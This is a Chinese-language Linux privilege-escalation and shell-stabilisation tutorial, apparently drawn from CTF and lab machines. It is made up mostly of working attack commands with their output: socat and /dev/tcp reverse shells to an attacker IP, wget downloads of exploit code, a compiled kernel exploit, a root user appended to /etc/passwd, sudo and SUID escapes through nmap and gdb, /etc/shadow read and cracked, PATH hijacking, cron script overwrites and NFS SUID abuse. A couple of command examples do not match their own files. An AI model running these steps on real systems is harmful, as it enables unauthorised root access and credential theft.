建立shell的稳定性

方法一:python

使用 Python 来生成功能更强大的 伪终端,请根据需要将 python 替换为 python2 或 python3

python3 -c 'import pty;pty.spawn("/bin/bash")'

设置 TERM 环境变量,设置终端类型为 xterm,让 shell 识别出你当前使用的是图形化的 xterm 终端。

export TERM=xterm

按下 Ctrl + Z:将当前 shell 挂起到后台
它会关闭我们自己的终端回显(这使我们能够使用 Tab 自动补全、箭头键以及 Ctrl + C 来终止进程)。

stty raw -echo; fg

重新初始化终端状态,防止输出乱码,提升交互体验

reset

实例:

$ python3 -c 'import pty;pty.spawn("/bin/bash")'
karen@ip-10-10-246-60:/tmp$
karen@ip-10-10-246-60:/tmp$ export TERM=xterm

karen@ip-10-10-246-60:/tmp$ ^Z
stty raw -echo; fg   
[1]  + continued  nc -lvp 6666
karen@ip-10-10-246-60:/tmp$ reset

方法二:rlwrap

rlwrap 是一个程序,简单来说,它让我们在收到 shell 后立即访问历史记录、Tab 自动完成和箭头键

rlwrap nc -lvnp <port>

使用 Ctrl + Z 将 shell 移至后台运行,然后使用 stty raw -echo; fg 稳定运行并重新进入 shell

Ctrl +Z
stty raw -echo; fg

该方法常用于windows

实例

rlwrap nc -lvnp 6666 
listening on [any] 6666 ...
connect to [10.11.130.250] from (UNKNOWN) [10.10.246.60] 52048
karen@ip-10-10-246-60:/tmp$ ls
ls
shell.sh
snap.lxd
stty raw -echo; fg 
[1]  + continued  rlwrap nc -lvnp 6666
karen@ip-10-10-246-60:/tmp$ 

方法三:Socat

先使用初始 netcat shell 作为过渡,过渡到功能更齐全的 socat shell
上传 socat 静态编译文件

攻击机:

cd ~/payloads  # 假设你的 socat 静态版本放这里
sudo python3 -m http.server 80

目标机器:

wget http://<ATTACKER_IP>/socat -O /tmp/socat

chmod +x /tmp/socat

/tmp/socat exec:"bash -li",pty,stderr,setsid,sigint,sane tcp:192.168.56.1:4444
#在目标的初始 shell 中执行:

socat file:`tty`,raw,echo=0 tcp-listen:4444 #在攻击本地终端中运行:

漏洞提权

内核提权

  1. 识别内核版本
  2. 搜索并找到目标系统内核版本的漏洞代码
  3. 运行漏洞利用程序

寻找系统信息

uname -a

将打印系统信息,提供有关系统所用内核的更多详细信息。这在搜索可能导致权限提升的潜在内核漏洞时非常有用。

uname -a
Linux 5.4.0-1029-aws #30-Ubuntu SMP Tue Oct 20 10:06:38 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux

/proc/version

提供有关内核版本的信息以及其他数据,例如是否安装了编译器(例如 GCC)

cat /proc/version
Linux version 5.4.0-1029-aws (buildd@lcy01-amd64-022) (gcc version 9.3.0 (Ubuntu 9.3.0-17ubuntu1~20.04)) #30-Ubuntu SMP Tue Oct 20 10:06:38 UTC 2020

/etc/issue

查看 /etc/issue 文件来识别系统。该文件通常包含一些有关操作系统的信息

cat /etc/issue
Ubuntu 20.04.1 LTS

在线漏洞网站和漏洞工具

在线漏洞网站:

https://www.exploit-db.com/
https://sploitus.com/
https://cxsecurity.com/

漏洞工具:

https://github.com/jondonas/linux-exploit-suggester-2

但在一些最新提权漏洞上,更新可能并不是很快,例如CVE2025等提权漏洞。如果碰到目标机内核比较新,可能就需要自己去手动搜索相关问题,谷歌相关的关键字,或者找一些在线网站搜索

实例:

识别内核版本

cat /proc/version

Linux 3.13.0-24-generic

搜索并找到目标系统内核版本的漏洞代码
image.png

CVE-2015-1328
image.png

运行漏洞利用程序

攻击机:

wget https://www.exploit-db.com/exploits/37292

python -m http.server 7766

目标主机:

wget 192.168.0.1:7766/exp.c

gcc exp.c -o exp

chmod +x exp

./exp

# id
uid=0(root) gid=0(root) groups=0(root)

[!info] 如果目标没有GCC
你可以在自己的攻击机进行编译,后上传

# 攻击机上编译
gcc exp.c -o exp
# 使用Python开启HTTP服务
python3 -m http.server 80
# 目标机下载
wget http://<ATTACKER_IP>/exp -O /tmp/exp

非漏洞提权

配置不当提权

添加用户

利用条件:当前用户在/etc/passwd文件的用户组里面
查看/etc/passwd文件,返现用户组是brexit用户

brexit@misdirection:/etc$ ls -l passwd
ls -l passwd
-rwxrwxr-- 1 root brexit 1617 Jun  1  2019 passwd

后面创建新用户输入到/etc/passwd里面,先用openssl进行生成密码

openssl passwd -1 "admin"
$1$KJ/vMK8l$vskEDczLwhcBRfUootJTc1

进行写入pdx进行提权

echo 'pdx:$1$KJ/vMK8l$vskEDczLwhcBRfUootJTc1:0:0:root:/root:/bin/bash' >> /etc/passwd
brexit@misdirection:/$ echo 'pdx:$1$KJ/vMK8l$vskEDczLwhcBRfUootJTc1:0:0:root:/root:/bin/bash' >> /etc/passwd
<RfUootJTc1:0:0:root:/root:/bin/bash' >> /etc/passwd
brexit@misdirection:/$ su pdx
su pdx
Password: admin

root@misdirection:/# id
id
uid=0(root) gid=0(root) groups=0(root)
cat root.txt
0d2c6222bfdd3701e0fa12a9a9dc9c8c

搜索密码提权

config
一些网站有应用服务,里面的配置信息可能存放用户名和密码

技术栈 常见配置文件 示例路径
PHP config.php, .env /var/www/html/config.php
Laravel .env .env
Python Flask config.py app/config.py
Django settings.py project/settings.py
Node.js .env, config.js .env, config/default.js
Java application.properties, web.xml /WEB-INF/web.xml
WordPress wp-config.php /var/www/html/wp-config.php
可以更具web服务的识别再结合find命令进行寻找,也是一个好的突破点
find / -name "config" 2>/dev/null | xargs grep -i "password"

Sudo提权

sudo是以root权限去运行一个命令
任何用户都可以使用 sudo -l 命令检查其当前与 root 权限可以执行的工具。

该网站提供了有关如何使用您可能拥有 sudo 权限的任何程序的信息:
https://gtfobins.github.io/ 

实例:

nmap 提权

jens@dc-6:~$ sudo -l
Matching Defaults entries for jens on dc-6:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User jens may run the following commands on dc-6:
    (root) NOPASSWD: /usr/bin/nmap

方式一:

原理:nmap 可以执行脚本文件,可以创建一个文件并写入反弹 shell 的命令,默认用root 权限执行,所以反弹的 shell 也是 root

echo 'os.execute("/bin/bash")' > bb.nse
#创建一个 bb.nse 的文件,并且写入 os.execute("/bin/bash")

获取root权限

sudo -u root nmap --script=a.nse   #以root用户执行 nmap

方式二:

sudo nmap --interactive

然后在交互式 shell 中:

!sh

这会将您带入 root shellsh ),因为 sudo 以 root 身份执行 nmap ,并且 !sh 从其中生成一个 shell。

==注意!!!==
==这仅适用于**旧版本的 Nmap** (≤5.21)——较新版本删除了交互模式。==

SUID提权

  1. SUID权限只能设置二进制文件
  2. 命令执行者要有二进制文件的执行权。
  3. 命令执行者执行二进制文件时会获得该程序的属主身份。
  4. SUID权限只在程序执行过程中有效

如果root给一个程序赋予了SUID权限,则普通用户在执行该程序过程中使权限提升到root权限。

查找系统中所有设置了 SUID 权限的文件

find / -perm -u=s -type f 2>/dev/null

gdb提权

find / -perm -u=s -type f 2>/dev/null

image.png

gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit

id
uid=0(root) gid=33(www-data) groups=33(www-data)

base64读取

目标如果存在

/usr/bin/base64

image.png
读取 /etc/shadow文件下的用户名和密码也是不错的选择

base64 /etc/shadow | base64 --decode

leonard:$6$JELumeiiJFPMFj3X$OXKY.N8LDHHTtF5Q/pTCsWbZtO6SfAzEQ6UkeFJy.Kx5C9rXFuPr.8n3v7TbZEttkGKCVj50KavJNAm7ZjRi4/::0:99999:7:::
missy:$6$BjOlWE21$HwuDvV1iSiySCNpA3Z9LxkxQEqUAdZvObTxJxMoCp/9zRVCi6/zrlMlAQPAxfwaD2JCUypk4HaNzI3rPVqKHb/:18785:0:99999:7:::

john --wordlist=/usr/share/wordlists/rockyou.txt hash
missy:Password1:18785:0:99999:7:::

PATH提权

Linux中的PATH是一个环境变量,它指定了可执行程序所在的目录,例如bin和sbin目录,当我们在终端运行一个命令时,系统就会根据PATH来查找相关的可执行文件。

echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

如果 $PATH 中包含了你 当前用户有写权限的目录,你就可以在这些目录中放置一个伪造的恶意脚本或二进制,当系统调用这个程序(尤其是 root 以非绝对路径调用 时),就会 执行你伪造的恶意程序,从而提权。

实例:

该文件似乎正在尝试运行命令 thm 但操作系统在 $PATH 中找不到它

/home/murdoch$ ls -l
total 24
-rwsr-xr-x 1 root root 16712 Jun 20  2021 test.c

karen@ip-10-10-122-20:/home/murdoch$ cat test.c 

#include<unistd.h>
void main()
{
setuid(0);
setgid(0);
system("sl");
}

们需要先将该文件夹添加到 $PATH

export PATH=/home/murdoch:$PATH

echo $PATH
/home/murdoch:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin

现在,我们将在 /tmp/murdoch 目录中创建一个名为 sl 的可执行文件,并使其生成一个 shell。
运行拿取root权限

echo "/bin/bash" >sl
chmod 777 sl
./test.c

id
uid=0(root) gid=0(root) groups=0(root)

定时任务提权(Cron Jobs)

Cron 用于在特定时间运行脚本或二进制文件,我们的目标是找到一个由 root 设置的 cron 文件,并让它运行我们的脚本进行提权

任何用户都可以读取 /etc/crontab 下保存系统范围 cron 任务的文件

cat /etc/crontab

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
* * * * *  root /antivirus.sh
* * * * *  root antivirus.sh
* * * * *  root /home/karen/backup.sh
* * * * *  root /tmp/test.py

image.png

可以看到, backup.sh 脚本已配置为每分钟运行一次。

echo "bash -i >& /dev/tcp/192.168.117.128/6666 0>&1" > backup.sh

chmod +x  backup.sh

nc -lvp 6666

id
uid=0(root) gid=0(root) groups=0(root)#获得root权限

NFS提权

NFS是networkfile system缩写,网络文件系统,用来挂在某个目录或文件进行共享,默认是2049端口,功能类似于wndows的共享。

NFS(网络文件共享)配置保存在 /etc/exports 文件中。此文件在 NFS 服务器安装期间创建,通常可供用户读取。

image.png

此权限提升向量的关键元素是如上所示的“no_root_squash”选项。默认情况下,NFS 会将 root 用户更改为 nfsnobody,并剥夺所有文件的 root 权限。如果可写共享上存在“no_root_squash”选项,我们就可以创建一个设置了 SUID 位的可执行文件,并在目标系统上运行它。

也可以进行扫描查看

showmount -e 10.10.59.164  
Export list for 10.10.59.164:
/home/ubuntu/sharedfolder *
/tmp                      *
/home/backup              *

在本地创建文件夹,进行挂载

mkdir /tmp/test

mount -o rw 10.10.151.86:/tmp /tmp/test

在共享目录下写入提权脚本,并赋予SUID位

cd /tmp/test

vim exp.c

#include <unistd.h>
#include <stdlib.h>

int main() {
    setgid(0);
    setuid(0);
    system("/bin/bash");
    return 0;
}

gcc exp.c -o exp -w

chmod +s exp

此时目标机会同步写入的提权脚本

ls -l

-rwsr-sr-x 1 root root 16712 Jun 17 16:24 exp
-rw-r--r-- 1 root root    76 Jun 17 16:24 exp.c

运行
./exp

获得root权限
id
uid=0(root) gid=0(root) groups=0(root)#获得root权限

总结

一般情况下建议的是先查找非漏洞的提权方法,如果没有,
则再根据内核版本来查找相关的提权漏洞。这边不建议过度利用提权工具